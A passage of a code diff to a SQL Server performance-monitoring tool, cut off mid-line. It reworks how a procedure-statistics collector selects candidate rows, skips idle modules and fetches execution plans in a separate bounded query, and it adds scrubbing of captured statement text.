@@ -297,7 +298,7 @@ WHERE EXISTS
     AND   r.last_good_plan_id = qsp.plan_id
 );
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     query_id = qsq.query_id,
     query_text_id = qsq.query_text_id
 INTO #pm_plan_correction_queries
@@ -310,7 +311,7 @@ WHERE EXISTS
     WHERE r.query_id = qsq.query_id
 );
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     query_text_id = qsqt.query_text_id,
     query_sql_text = qsqt.query_sql_text
 INTO #pm_plan_correction_query_text
@@ -323,7 +324,7 @@ WHERE EXISTS
     WHERE q.query_text_id = qsqt.query_text_id
 );
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     force_last_good_plan_desired_state = o.desired_state_desc,
     force_last_good_plan_actual_state = o.actual_state_desc,
     force_last_good_plan_reason = o.reason_desc,
@@ -427,7 +428,7 @@ LEFT JOIN #pm_plan_correction_plans AS qsp
     @product_major integer =
         CONVERT(integer, PARSENAME(CONVERT(sysname, SERVERPROPERTY('PRODUCTVERSION')), 4));
 
-SELECT
+SELECT /* PerformanceMonitorLite */
     d.name
 FROM sys.databases AS d
 LEFT JOIN sys.dm_hadr_database_replica_states AS drs
@@ -531,9 +532,12 @@ public override async ValueTask ReadItemAsync(string item, DbDataReader reader,
         ArgumentNullException.ThrowIfNull(reader);
         ArgumentNullException.ThrowIfNull(rows);
 
+        /* #4348: statement text and the implementation script are judged where they first enter a Row. */
+        var scrub = context.BeginStatementScrub();
+
         while (await reader.ReadAsync(cancellationToken))
         {
-            rows.Add(ReadRow(reader, item));
+            rows.Add(ReadRow(reader, item, scrub));
         }
     }
 
@@ -545,17 +549,18 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
 
         var rows = new List<Row>();
         var databaseName = context.CurrentDatabaseName ?? "";
+        var scrub = context.BeginStatementScrub();
 
         while (await reader.ReadAsync(cancellationToken))
         {
-            rows.Add(ReadRow(reader, databaseName));
+            rows.Add(ReadRow(reader, databaseName, scrub));
         }
 
         return rows;
     }
 
     /// <summary>Ordinals follow <see cref="PayloadBodyText"/>'s SELECT list, which follows PayloadColumns.</summary>
-    private static Row ReadRow(DbDataReader reader, string databaseName) =>
+    private static Row ReadRow(DbDataReader reader, string databaseName, SensitiveStatements.Session scrub) =>
         new()
         {
             DbName = databaseName,
@@ -573,7 +578,7 @@ private static Row ReadRow(DbDataReader reader, string databaseName) =>
             LastRefresh = NullableDateTime(reader, 11),
             Score = NullableInt(reader, 12),
             QueryId = NullableLong(reader, 13),
-            QueryText = NullableString(reader, 14),
+            QueryText = scrub.Text(NullableString(reader, 14)),
             RegressedPlanId = NullableLong(reader, 15),
             LastGoodPlanId = NullableLong(reader, 16),
             LastGoodPlanForcingType = NullableString(reader, 17),
@@ -596,7 +601,7 @@ private static Row ReadRow(DbDataReader reader, string databaseName) =>
             RevertActionInitiatedTime = NullableDateTime(reader, 34),
             RevertActionStartTime = NullableDateTime(reader, 35),
             RevertActionDurationSeconds = NullableDouble(reader, 36),
-            ImplementationScript = NullableString(reader, 37),
+            ImplementationScript = scrub.Text(NullableString(reader, 37)),
         };
 
     private static string? NullableString(DbDataReader reader, int ordinal) =>
diff --git a/PerformanceMonitor.Collectors/ProcedureStatsCollector.cs b/PerformanceMonitor.Collectors/ProcedureStatsCollector.cs
index 4281b53de3..6d91bcc6ac 100644
--- a/PerformanceMonitor.Collectors/ProcedureStatsCollector.cs
+++ b/PerformanceMonitor.Collectors/ProcedureStatsCollector.cs
@@ -10,6 +10,7 @@
 using System.Collections.Generic;
 using System.Data.Common;
 using System.Globalization;
+using System.Linq;
 using System.Threading;
 using System.Threading.Tasks;
 
@@ -23,6 +24,26 @@ namespace PerformanceMonitor.Collectors;
 /// a quoted string); Azure SQL DB skips plan_attributes (it reports dbid=1 for all plans) and has
 /// no trigger/function branches. Seven delta groups keyed on plan_handle (falling back to
 /// db.schema.object) to prevent cross-plan contamination.
+///
+/// <para><b>#5449: every candidate with work, plans for at most <see cref="MaxPlansPerRun"/>.</b> The main query
+/// returns numbers only (ordinals 0-26) for every module that ran in the last ten minutes, up to
+/// <see cref="MaxCandidateRows"/>. It used to take the top 150 by lifetime elapsed time, which stored about one
+/// candidate in four or five and let the rest vanish from the totals. A module's plan and identity are no longer
+/// part of that query: <see cref="BuildPlanPhaseQuery"/> renders them in a second query over the first
+/// <see cref="MaxPlansPerRun"/> kept rows, by the rank <see cref="ReadAsync"/> returns them in.</para>
+///
+/// <para><b>The idle skip, and why it runs in <see cref="ReadAsync"/>.</b> A row whose seven counters all equal their
+/// cached baselines did no work since the last run, and storing it adds a row and no CPU, reads or duration. A
+/// row like that is dropped here, in one step: the calculator is called for it, which advances the baseline's
+/// timestamp (the value is unchanged) and reports (0, interval). That is lossless: nothing moved, so no slice of work
+/// is hidden. Every other row (a counter moved, or no baseline yet) is left for <see cref="WritePayload"/>, exactly as
+/// before. Computing every row's delta at read time instead, as <c>PgStatementStatsCollector</c> does, would move the
+/// baseline of a row that is then never stored: the host abandons a cycle that blows its wall-clock budget (#2673)
+/// after the read and ships nothing, and it relies on the NEXT cycle to cover that slice, so a baseline moved at read
+/// time would lose it. An unchanged counter loses nothing when it advances; a moved one is advanced only by the
+/// write. A gap past the delta policy returns (0, 0) for an unchanged row: that row is kept (the (0, 0) pair is
+/// information, not idleness) and carries its computed deltas so the write does not call the calculator a second time.
+/// Every fetched row still calls the calculator exactly once per run.</para>
 /// </summary>
 public sealed class ProcedureStatsCollector : CollectorDefinitionBase<ProcedureStatsCollector.Row>
 {
@@ -66,9 +87,84 @@ public readonly record struct Row(
            host captures no plans or the handle aged out before the plan apply ran. Carries the SIZE whether
            or not QueryPlanXml carries the CONTENT, which is what tells a plan omitted for size apart from a
            plan that was never there. */
-        long? QueryPlanXmlBytes);
+        long? QueryPlanXmlBytes)
+    {
+        /// <summary>
+        /// #5158: the digest the host's store already holds for this module's plan, set by a host that defers
+        /// the plan fetch and recognizes the plan from an earlier commit. When set, the writer stores the
+        /// digest instead of the content (<see cref="ICollectorRowWriter.PayloadOrDigest"/>). Null by
+        /// default, so a row writes its <see cref="QueryPlanXml"/> as it always has. Init-only rather than
+        /// positional so existing <c>new Row(...)</c> call sites are untouched. A known identity whose plan is
+        /// over the capture cap has no digest; the host sets <see cref="QueryPlanXmlBytes"/> from its cache for
+        /// it, as <c>query_stats</c> does, so the size column and the oversized backlog both see it. The host
+        /// must clear this digest when it measures a new size for the row.
+        /// </summary>
+        public string? KnownPlanDigest { get; init; }
+
+        /// <summary>#5158 identity fingerprint, read only when the plan fetch is deferred: how many statements
+        /// <c>sys.dm_exec_query_stats</c> holds for this module's plan handle. Zero (with a null max and sum)
+        /// means no statements are visible for the handle: it aged out or none has run. The wiring must not
+        /// cache an identity keyed on a count of zero.</summary>
+        public long? PlanStatementCount { get; init; }
+
+        /// <summary>#5158 identity fingerprint: the latest statement <c>creation_time</c> for the plan handle.</summary>
+        public DateTime? PlanLastStatementCompile { get; init; }
+
+        /// <summary>#5158 identity fingerprint: the sum of <c>plan_generation_num</c> over the plan handle's statements.</summary>
+        public long? PlanGenerationSum { get; init; }
+
+        /// <summary>
+        /// #5449: the seven deltas and the interval <see cref="ReadAsync"/> already computed for this row, set only
+        /// for a row it kept because its counters were unchanged but no interval was knowable (a gap past the delta
+        /// policy). <see cref="WritePayload"/> writes them instead of calling the calculator a second time. Null for
+        /// every other row, which takes the write's own delta path.
+        /// </summary>
+        public ReadTimeDeltas? Precomputed { get; init; }
+
+        /// <summary>
+        /// #5449: true for a row the plan phase did not cover (it fell outside the first
+        /// <see cref="MaxPlansPerRun"/> kept rows, or the phase failed). Such a row has no plan and no identity, and
+        /// the plan reuse pass must skip it rather than count it as a miss.
+        /// </summary>
+        public bool PlanPhaseSkipped { get; init; }
+    }
+
+    /// <summary>The seven per-group deltas and the minimum interval of one row (see <see cref="Row.Precomputed"/>).</summary>
+    public readonly record struct ReadTimeDeltas(
+        long Exec, long Worker, long Elapsed, long Reads, long Writes, long PhysReads, long Spills, int IntervalSeconds);
+
+    /// <summary>One plan phase result row (see <see cref="ReadPlanPhaseAsync"/>), keyed by the handle's position in the query.</summary>
+    public readonly record struct PlanPhaseResult(
+        string? PlanXml, long? PlanBytes, long? StatementCount, DateTime? LastStatementCompile, long? GenerationSum);
+
+    /* The seven delta group names. ComputeDeltas spells each as a literal at its call site, because the
+       DeltaFamilySeedingCensusTests census reads the groups a collector passes from its source text; these constants
+       are what the idle skip PEEKS, and ProcedureStatsIdleSkipTests fails if a name here drifts from a call site. */
+    private const string ExecGroup = "proc_stats_exec";
+    private const string WorkerGroup = "proc_stats_worker";
+    private const string ElapsedGroup = "proc_stats_elapsed";
+    private const string ReadsGroup = "proc_stats_reads";
+    private const string WritesGroup = "proc_stats_writes";
+    private const string PhysReadsGroup = "proc_stats_phys_reads";
+    private const string SpillsGroup = "proc_stats_spills";
+
+    /// <summary>
+    /// #5449: the safety cap on the main query's candidate rows. The query keeps EVERY module that ran in the last
+    /// ten minutes, newest first by <c>last_execution_time</c>, so a cap that bites drops the stalest rows (the least
+    /// likely to have moved) and not the busiest. Measured on four busy primaries, a ten-minute window holds about
+    /// 700 to 800 rows; this is several times that and exists only to bound a pathological cache. It was 150, which
+    /// kept one candidate row in four or five and dropped the rest by lifetime elapsed time.
+    /// </summary>
+    public const int MaxCandidateRows = 5000;
+
+    /// <summary>
+    /// #5449: the most modules one run renders a plan (and an identity) for, the first this many of the kept rows in
+    /// <see cref="ReadAsync"/>'s rank order. It sits beside <see cref="MaxCandidateRows"/> because the two used to be
+    /// the same number (150) and are now independent: the main query is no longer what bounds the plan work.
+    /// </summary>
+    public const int MaxPlansPerRun = 150;
 
-    private const string StandardQueryText = @"
+    private static readonly string StandardQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
 DECLARE
@@ -77,11 +173,7 @@ @fn_spills_cols nvarchar(400) = N'total_spills = CONVERT(bigint, 0), min_spills
     @sql nvarchar(max);
 
 SET @sql = CAST(N'
-SELECT /* PerformanceMonitorLite */ TOP (150)
-    ranked.*/*PLAN_SELECT*/
-FROM
-(
-SELECT TOP (150) * FROM (
+SELECT /* PerformanceMonitorLite */ TOP (" + MaxCandidateRows + @") * FROM (
 SELECT
     database_name = d.name,
     schema_name = OBJECT_SCHEMA_NAME(s.object_id, s.database_id),
@@ -222,21 +314,15 @@ AND   pa.dbid NOT IN (1, 3, 4, 32761, 32767, ISNULL(DB_ID(N''PerformanceMonitor'
 AND   s.last_execution_time >= DATEADD(MINUTE, -10, GETDATE())
 /*EXCLUSION_FILTER*/
 ) AS combined
-ORDER BY total_elapsed_time DESC
-) AS ranked/*PLAN_APPLY*/
-ORDER BY ranked.total_elapsed_time DESC
+ORDER BY last_execution_time DESC
 OPTION(RECOMPILE);' AS nvarchar(max));
 
 EXECUTE sys.sp_executesql @sql;";
 
-    private const string AzureSqlDbQueryText = @"
+    private static readonly string AzureSqlDbQueryText = @"
 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;
 
-SELECT /* PerformanceMonitorLite */ TOP (150)
-    ranked.*/*PLAN_SELECT*/
-FROM
-(
-SELECT TOP (150)
+SELECT /* PerformanceMonitorLite */ TOP (" + MaxCandidateRows + @")
     database_name = DB_NAME(),
     schema_name = OBJECT_SCHEMA_NAME(s.object_id, s.database_id),
     object_name = OBJECT_NAME(s.object_id, s.database_id),
@@ -268,9 +354,7 @@ FROM sys.dm_exec_procedure_stats AS s
 WHERE s.database_id = DB_ID()
 AND   s.last_execution_time >= DATEADD(MINUTE, -10, GETDATE())
 /*EXCLUSION_FILTER*/
-ORDER BY s.total_elapsed_time DESC
-) AS ranked/*PLAN_APPLY*/
-ORDER BY ranked.total_elapsed_time DESC
+ORDER BY s.last_execution_time DESC
 OPTION(RECOMPILE);";
 
     /* Execution-plan capture — spliced into every branch (procedure/trigger/function) and the Azure
@@ -285,13 +369,11 @@ the xml type still return. dm_exec_text_query_plan(plan_handle, 0, -1) returns a
        the OUTER APPLY never multiplies rows and never drops one (NULL plan for an aged-out handle). */
     /* #1959: the apply used to sit INSIDE each branch, below the TOP - so a burst window rendered a
        module-grain plan (the big ones) for every candidate the TOP then discarded, which is the same
-       defect the field investigation measured at 81% of query_stats' runtime. The render now happens
-       ONCE, outside the ranked derived table, against at most 150 survivors: free when candidates fit
-       under the TOP (the daytime case the field measured as noise) and bounded when they do not (the
-       25-second overnight tails). The handle round-trips through CONVERT(varbinary(64), ..., 1) from
-       the varchar(130) the payload already carries, so no extra column threads through the branches
-       and the stored shape is untouched. Placement inside the shell keeps the fragment identical for
-       the standard (dynamic SQL) and Azure variants. */
+       defect the field investigation measured at 81% of query_stats' runtime. #5449 moves the apply out of the
+       main query altogether: the main query is numbers only for every candidate, and the apply runs ONCE
+       in BuildPlanPhaseQuery, over a VALUES list aliased `ranked` holding at most MaxPlansPerRun handles. The
+       handle round-trips through CONVERT(varbinary(64), ..., 1) from the varchar(130) the payload carries, which is
+       why that list's plan_handle column is varchar and the fragments splice unchanged. */
     /* The DATALENGTH guard bounds the SIZE of one module-grain plan, on top of #1959's bound on how
        MANY rows render one — see QueryPlanXmlCaptureLimits. A whole-procedure plan is exactly the
        shape most likely to cross it: this DMV aggregates at the module grain, so one heavy stored
@@ -325,6 +407,274 @@ emits neither and its SQL stays byte-identical to the no-plan form. */
 OUTER APPLY sys.dm_exec_text_query_plan(CONVERT(varbinary(64), ranked.plan_handle, 1), "
         + ModuleStatementStartOffset + ", " + ModuleStatementEndOffset + @") AS tqp";
 
+    /// <summary>
+    /// #5158: the identity columns the plan phase reads (#5449) for a host that defers the plan fetch (INSTEAD of the
+    /// plan columns) or asks for them with <see cref="CollectorContext.PlanIdentityColumns"/>. A module's plan XML changes in place when one statement recompiles, while
+    /// <c>plan_handle</c> and <c>cached_time</c> stay put (measured: adding cached_time to the key changed the
+    /// distinct count by zero), so the handle alone cannot say whether a cached digest is still current.
+    /// These three aggregates over the module's statements move when any statement recompiles or first compiles.
+    /// </summary>
+    private const string PlanIdentitySelectFragment = @",
+    plan_statement_count = pfp.plan_statement_count,
+    plan_last_statement_compile = pfp.plan_last_statement_compile,
+    plan_generation_sum = pfp.plan_generation_sum";
+
+    /* PROVISIONAL (#5158): a correlated OUTER APPLY over sys.dm_exec_query_stats, one per handle in the plan phase's
+       `ranked` list (at most MaxPlansPerRun), like the plan apply. dm_exec_query_stats cannot seek on
+       plan_handle, so what this costs on a large cache is UNMEASURED; a grouped single walk or
+       dm_exec_cached_plans.size_in_bytes are the alternatives if it proves too slow. No single quotes, because
+       the fragment text is shared with the plan-phase VALUES query's literal handling. */
+    private const string PlanIdentityApplyFragment = @"
+OUTER APPLY
+(
+    SELECT
+        plan_statement_count = COUNT_BIG(*),
+        plan_last_statement_compile = MAX(qs.creation_time),
+        plan_generation_sum = SUM(CONVERT(bigint, qs.plan_generation_num))
+    FROM sys.dm_exec_query_stats AS qs
+    WHERE qs.plan_handle = CONVERT(varbinary(64), ranked.plan_handle, 1)
+) AS pfp";
+
+    /// <summary>
+    /// True when the plan phase renders the plan columns itself: the host captures plans and has not deferred
+    /// the fetch to <see cref="BuildPlanFetchQuery"/> (#5158). One definition for the query text and the read.
+    /// </summary>
+    private static bool InlinePlanCapture(CollectorContext context) =>
+        context.CapturePlanXml && !context.DeferPlanXmlFetch;
+
+    /// <summary>
+    /// True when the plan phase carries the identity columns: the host defers the fetch
+    /// (they stand in for the plan columns) or the host asks for them with
+    /// <see cref="CollectorContext.PlanIdentityColumns"/> (alone, or after the plan columns).
+    /// </summary>
+    private static bool DeferredPlanIdentity(CollectorContext context) =>
+        context.PlanIdentityColumns || (context.CapturePlanXml && context.DeferPlanXmlFetch);
+
+    /// <summary>
+    /// #5449: true when this run asks the target for a module's plan or identity at all, so a second query runs. False
+    /// on a host that captures no plans (Lite) and on a gated cycle of a host that does not defer the fetch.
+    /// </summary>
+    public static bool PlanPhaseApplies(CollectorContext context) =>
+        InlinePlanCapture(context) || DeferredPlanIdentity(context);
+
+    /// <summary>The ordinal of the first identity column in the plan phase result: after <c>ord</c>, and after the plan columns when present.</summary>
+    private static int IdentityOrdinal(CollectorContext context) => InlinePlanCapture(context) ? 3 : 1;
+
+    /// <summary>
+    /// #5158: the second target query for a host that defers the plan fetch. Takes plan handles, not
+    /// <see cref="QueryStatsCollector.PlanFetchKey"/>s, so the offsets are always
+    /// (<see cref="ModuleStatementStartOffset"/>, <see cref="ModuleStatementEndOffset"/>): a caller cannot pass
+    /// a statement grain this collector does not have. It is query_stats' fetch query for those keys, one SQL.
+    /// Read the result with <see cref="QueryStatsCollector.ReadPlanFetchAsync"/>.
+    /// </summary>
+    public static CollectorQuery BuildPlanFetchQuery(CollectorContext context, IReadOnlyList<byte[]> planHandles)
+    {
+        ArgumentNullException.ThrowIfNull(planHandles);
+
+        var keys = new List<QueryStatsCollector.PlanFetchKey>(planHandles.Count);
+        foreach (var handle in planHandles)
+        {
+            keys.Add(new QueryStatsCollector.PlanFetchKey(handle, ModuleStatementStartOffset, ModuleStatementEndOffset));
+        }
+
+        return QueryStatsCollector.BuildPlanFetchQuery(context, keys);
+    }
+
+    /// <summary>
+    /// Parses the shipped <c>plan_handle</c> text (<c>0x</c> and 2 to 128 hex digits) to 1 to 64 bytes. False
+    /// for null, empty, a bare <c>0x</c>, an odd digit count, more than 64 bytes or a non-hex character, so
+    /// such a row is never fetched and ships no plan, as an aged-out handle does.
+    /// </summary>
+    public static bool TryParsePlanHandle(string? hex, out byte[] bytes)
+    {
+        bytes = Array.Empty<byte>();
+        if (hex is null || hex.Length < 4 || hex.Length > 130 || (hex.Length & 1) != 0
+            || hex[0] != '0' || (hex[1] != 'x' && hex[1] != 'X'))
+        {
+            return false;
+        }
+
+        try
+        {
+            bytes = Convert.FromHexString(hex.AsSpan(2));
+            return true;
+        }
+        catch (FormatException)
+        {
+            return false;
+        }
+    }
+
+    /// <summary>
+    /// #5449: the rows the plan phase covers, as indexes into <paramref name="rows"/>: the first
+    /// <see cref="MaxPlansPerRun"/> rows (in the order <see cref="ReadAsync"/> returned them, which is rank order)
+    /// whose handle parses. <paramref name="handles"/> receives each one's bytes, in the same order.
+    /// </summary>
+    public static List<int> SelectPlanPhaseRows(IReadOnlyList<Row> rows, out List<byte[]> handles)
+    {
+        ArgumentNullException.ThrowIfNull(rows);
+
+        var indexes = new List<int>(Math.Min(rows.Count, MaxPlansPerRun));
+        handles = new List<byte[]>(indexes.Capacity);
+        for (var i = 0; i < rows.Count && indexes.Count < MaxPlansPerRun; i++)
+        {
+            if (TryParsePlanHandle(rows[i].PlanHandle, out var handle))
+            {
+                indexes.Add(i);
+                handles.Add(handle);
+            }
+        }
+
+        return indexes;
+    }
+
+    /// <summary>
+    /// #5449: the plan phase, the second target query: renders the plan and/or the identity for at most
+    /// <see cref="MaxPlansPerRun"/> handles, on the same connection as the main read and inside the same budget. It
+    /// applies the EXISTING <see cref="PlanApplyFragment"/> (the host captures plans and has not deferred them: Off and
+    /// Shadow) and <see cref="PlanIdentityApplyFragment"/> (Shadow and On) unchanged, over a <c>VALUES</c> list aliased
+    /// <c>ranked</c> whose <c>plan_handle</c> is the same varchar hex the main query used to ship, so the fragments'
+    /// <c>CONVERT(varbinary(64), ranked.plan_handle, 1)</c> reads it as before. Row <c>ord</c> is the handle's position
+    /// in <paramref name="handles"/>. The handles are rendered host-side from bytes (hex only), never from operator input.
+    /// Read the result with <see cref="ReadPlanPhaseAsync"/>.
+    /// </summary>
+    /// <exception cref="InvalidOperationException">The run asks for neither plans nor identity, or the handle list is
+    /// empty, longer than <see cref="MaxPlansPerRun"/>, or holds one that is not 1 to 64 bytes.</exception>
+    public static CollectorQuery BuildPlanPhaseQuery(CollectorContext context, IReadOnlyList<byte[]> handles)
+    {
+        ArgumentNullException.ThrowIfNull(context);
+
+        if (!PlanPhaseApplies(context))
+        {
+            throw new InvalidOperationException("The plan phase needs a run that captures plans or reads identities.");
+        }
+
+        if (handles is null || handles.Count == 0)
+        {
+            throw new InvalidOperationException(
+                "The plan phase handle list must be non-empty; an empty list means no second query should be issued at all.");
+        }
+
+        if (handles.Count > MaxPlansPerRun)
+        {
+            throw new InvalidOperationException(
+                "The plan phase handle list holds " + handles.Count.ToString(CultureInfo.InvariantCulture)
+                + " handles; one run takes at most " + MaxPlansPerRun.ToString(CultureInfo.InvariantCulture) + ".");
+        }
+
+        var values = new System.Text.StringBuilder();
+        for (var ord = 0; ord < handles.Count; ord++)
+        {
+            var handle = handles[ord];
+            if (handle is null || handle.Length == 0 || handle.Length > 64)
+            {
+                throw new InvalidOperationException(
+                    "Plan phase handle " + ord.ToString(CultureInfo.InvariantCulture) + " must be 1 to 64 bytes.");
+            }
+
+            if (ord > 0)
+            {
+                values.Append(",\n        ");
+            }
+
+            values
+                .Append('(')
+                .Append(ord.ToString(CultureInfo.InvariantCulture))
+                .Append(", '0x").Append(Convert.ToHexString(handle)).Append("')");
+        }
+
+        var planSelect = (InlinePlanCapture(context) ? PlanSelectFragment : "")
+            + (DeferredPlanIdentity(context) ? PlanIdentitySelectFragment : "");
+        var planApply = (InlinePlanCapture(context) ? PlanApplyFragment : "")
+            + (DeferredPlanIdentity(context) ? PlanIdentityApplyFragment : "");
+
+        return new CollectorQuery(
+            "SELECT /* PerformanceMonitorLite */\n    ranked.ord" + planSelect + @"
+FROM
+(
+    VALUES
+        " + values + @"
+) AS ranked (ord, plan_handle)" + planApply + @"
+OPTION(RECOMPILE);");
+    }
+
+    /// <summary>
+    /// #5449: reads <see cref="BuildPlanPhaseQuery"/>'s result into <c>ord</c> -> <see cref="PlanPhaseResult"/>. An inline
+    /// plan passes through the host's statement filter session here, where it first enters a row (#4348). The
+    /// columns follow the run's mode: <c>ord</c>, then the plan and its size when the phase renders plans, then the
+    /// three identity aggregates when it reads identities.
+    /// </summary>
+    public static async ValueTask<Dictionary<int, PlanPhaseResult>> ReadPlanPhaseAsync(
+        DbDataReader reader, CollectorContext context, CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(reader);
+        ArgumentNullException.ThrowIfNull(context);
+
+        var inlinePlan = InlinePlanCapture(context);
+        var identity = DeferredPlanIdentity(context);
+        var identityOrdinal = IdentityOrdinal(context);
+        var scrub = context.BeginStatementScrub();
+        var results = new Dictionary<int, PlanPhaseResult>();
+
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            var ord = Convert.ToInt32(reader.GetValue(0), CultureInfo.InvariantCulture);
+            results[ord] = new PlanPhaseResult(
+                inlinePlan && !reader.IsDBNull(1) ? scrub.Xml(reader.GetString(1)) : null,
+                /* Convert rather than GetInt64: DATALENGTH's return type widens to bigint only for the max types (#3392). */
+                inlinePlan && !reader.IsDBNull(2) ? Convert.ToInt64(reader.GetValue(2), CultureInfo.InvariantCulture) : null,
+                identity && !reader.IsDBNull(identityOrdinal)
+                    ? Convert.ToInt64(reader.GetValue(identityOrdinal), CultureInfo.InvariantCulture) : null,
+                identity && !reader.IsDBNull(identityOrdinal + 1) ? reader.GetDateTime(identityOrdinal + 1) : null,
+                identity && !reader.IsDBNull(identityOrdinal + 2)
+                    ? Convert.ToInt64(reader.GetValue(identityOrdinal + 2), CultureInfo.InvariantCulture) : null);
+        }
+
+        return results;
+    }
+
+    /// <summary>
+    /// #5449: puts the plan phase's results onto <paramref name="rows"/>. A row at <paramref name="indexes"/>[ord] takes
+    /// result <c>ord</c> (its plan, its size and its identity, as the run's mode carries them); every other row is
+    /// marked <see cref="Row.PlanPhaseSkipped"/>, so the plan reuse pass skips it. Pass a null
+    /// <paramref name="results"/> when the phase failed: no row gets a plan and all are marked skipped.
+    /// </summary>
+    public static void ApplyPlanPhase(
+        List<Row> rows, IReadOnlyList<int> indexes, IReadOnlyDictionary<int, PlanPhaseResult>? results)
+    {
+        ArgumentNullException.ThrowIfNull(rows);
+        ArgumentNullException.ThrowIfNull(indexes);
+
+        var covered = new HashSet<int>();
+        if (results is not null)
+        {
+            for (var ord = 0; ord < indexes.Count; ord++)
+            {
+                if (results.TryGetValue(ord, out var result))
+                {
+                    var i = indexes[ord];
+                    covered.Add(i);
+                    rows[i] = rows[i] with
+                    {
+                        QueryPlanXml = result.PlanXml,
+                        QueryPlanXmlBytes = result.PlanBytes,
+                        PlanStatementCount = result.StatementCount,
+                        PlanLastStatementCompile = result.LastStatementCompile,
+                        PlanGenerationSum = result.GenerationSum,
+                    };
+                }
+            }
+        }
+
+        for (var i = 0; i < rows.Count; i++)
+        {
+            if (!covered.Contains(i))
+            {
+                rows[i] = rows[i] with { PlanPhaseSkipped = true };
+            }
+        }
+    }
+
     public override string Name => "procedure_stats";
 
     public override string TargetTable => "procedure_stats";
@@ -352,32 +702,25 @@ OUTER APPLY sys.dm_exec_text_query_plan(CONVERT(varbinary(64), ranked.plan_handl
 
     public override CollectorQuery BuildQuery(CollectorContext context)
     {
-        var planSelect = context.CapturePlanXml ? PlanSelectFragment : "";
-        var planApply = context.CapturePlanXml ? PlanApplyFragment : "";
-
+        /* #5449: the main query is numbers only on every host in every plan mode: no plan columns, no identity
+           columns, no apply. A module's plan and identity come from BuildPlanPhaseQuery, for at most
+           MaxPlansPerRun of the rows this read keeps. */
         if (context.Target.IsAzureSqlDb)
         {
             /* Azure: single-database scope; the exclusion token is left in place unreplaced in the
-               original (no clause is spliced on Azure) — reproduce exactly. Plan placeholders still
-               erase (flag off) or splice (Darling) here just like the standard variant. */
-            return new CollectorQuery(
-                AzureSqlDbQueryText
-                    .Replace("/*PLAN_SELECT*/", planSelect, StringComparison.Ordinal)
-                    .Replace("/*PLAN_APPLY*/", planApply, StringComparison.Ordinal));
+               original (no clause is spliced on Azure) - reproduce exactly. */
+            return new CollectorQuery(AzureSqlDbQueryText);
         }
 
         /* Standard query is dynamic SQL (built into @sql then passed to sp_executesql), so the
-           exclusion filter is interpolated as literal N'...' values rather than parameter bindings —
-           doubled escaping because @sql is itself a single-quoted T-SQL string. The plan fragments
-           carry no single quotes, so they splice straight into the nested dynamic SQL body. */
+           exclusion filter is interpolated as literal N'...' values rather than parameter bindings -
+           doubled escaping because @sql is itself a single-quoted T-SQL string. */
         var exclusionClause = DatabaseExclusionFilter.BuildLiteralClause(
             context.ExcludedDatabases, "d.name", forNestedDynamicSql: true);
 
         return new CollectorQuery(
             StandardQueryText
-                .Replace("/*EXCLUSION_FILTER*/", exclusionClause, StringComparison.Ordinal)
-                .Replace("/*PLAN_SELECT*/", planSelect, StringComparison.Ordinal)
-                .Replace("/*PLAN_APPLY*/", planApply, StringComparison.Ordinal));
+                .Replace("/*EXCLUSION_FILTER*/", exclusionClause, StringComparison.Ordinal));
     }
 
     public override IReadOnlyList<CollectorColumn> PayloadColumns { get; } = new[]
@@ -434,11 +777,11 @@ migration adds by ALTER TABLE. The same integer perfmon_stats and query_stats ha
 
     public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, CollectorContext context, CancellationToken cancellationToken)
     {
-        var rows = new List<Row>();
+        var fetched = new List<Row>();
 
         while (await reader.ReadAsync(cancellationToken))
         {
-            rows.Add(new Row(
+            fetched.Add(new Row(
                 reader.IsDBNull(0) ? "" : reader.GetString(0),
                 reader.IsDBNull(1) ? "" : reader.GetString(1),
                 reader.IsDBNull(2) ? "" : reader.GetString(2),
@@ -466,19 +809,89 @@ public override async ValueTask<List<Row>> ReadAsync(DbDataReader reader, Collec
                 reader.GetInt64(24),
                 reader.IsDBNull(25) ? null : reader.GetString(25),
                 reader.IsDBNull(26) ? null : reader.GetString(26),
-                /* query_plan_xml is the trailing column present only when CapturePlanXml spliced it
-                   into every branch's SELECT (ordinal 27); the short-circuit skips it entirely when off. */
-                context.CapturePlanXml && !reader.IsDBNull(27) ? reader.GetString(27) : null,
-                /* #3392: the plan's measured size rides the same splice at ordinal 28, so the same
-                   short-circuit covers it. Convert rather than GetInt64: DATALENGTH's return type widens to
-                   bigint only for the max types, and a provider that hands back an Int32 here would throw on
-                   a strict accessor. */
-                context.CapturePlanXml && !reader.IsDBNull(28)
-                    ? Convert.ToInt64(reader.GetValue(28), CultureInfo.InvariantCulture)
-                    : null));
+                /* #5449: no plan and no identity here; BuildPlanPhaseQuery fills them for the first MaxPlansPerRun rows. */
+                null,
+                null));
+        }
+
+        return SkipIdleAndRank(fetched, context);
+    }
+
+    /// <summary>
+    /// #5449: the idle skip and the rank (see the class remarks). Drops a row whose seven counters all equal their cached
+    /// baselines when the calculator then reports seven zero deltas over a measured interval; keeps every other row;
+    /// returns the kept rows by in-interval elapsed time (descending), ties by plan_handle. A calculator that peeks no
+    /// baselines (a test double, a first run) drops nothing and ranks by lifetime elapsed time.
+    /// </summary>
+    internal static List<Row> SkipIdleAndRank(List<Row> fetched, CollectorContext context)
+    {
+        var deltas = context.Deltas;
+        var serverId = context.ServerId;
+        var exec = deltas.PeekBaselines(serverId, ExecGroup);
+        var worker = deltas.PeekBaselines(serverId, WorkerGroup);
+        var elapsed = deltas.PeekBaselines(serverId, ElapsedGroup);
+        var reads = deltas.PeekBaselines(serverId, ReadsGroup);
+        var writes = deltas.PeekBaselines(serverId, WritesGroup);
+        var physReads = deltas.PeekBaselines(serverId, PhysReadsGroup);
+        var spills = deltas.PeekBaselines(serverId, SpillsGroup);
+
+        var kept = new List<(Row Row, long Rank)>(fetched.Count);
+        foreach (var row in fetched)
+        {
+            var key = DeltaKey(row);
+            var rank = row.TotalElapsedTime;
+            if (elapsed.TryGetValue(key, out var elapsedBase) && row.TotalElapsedTime >= elapsedBase)
+            {
+                rank = row.TotalElapsedTime - elapsedBase;
+            }
+
+            if (exec.TryGetValue(key, out var b1) && b1 == row.ExecutionCount
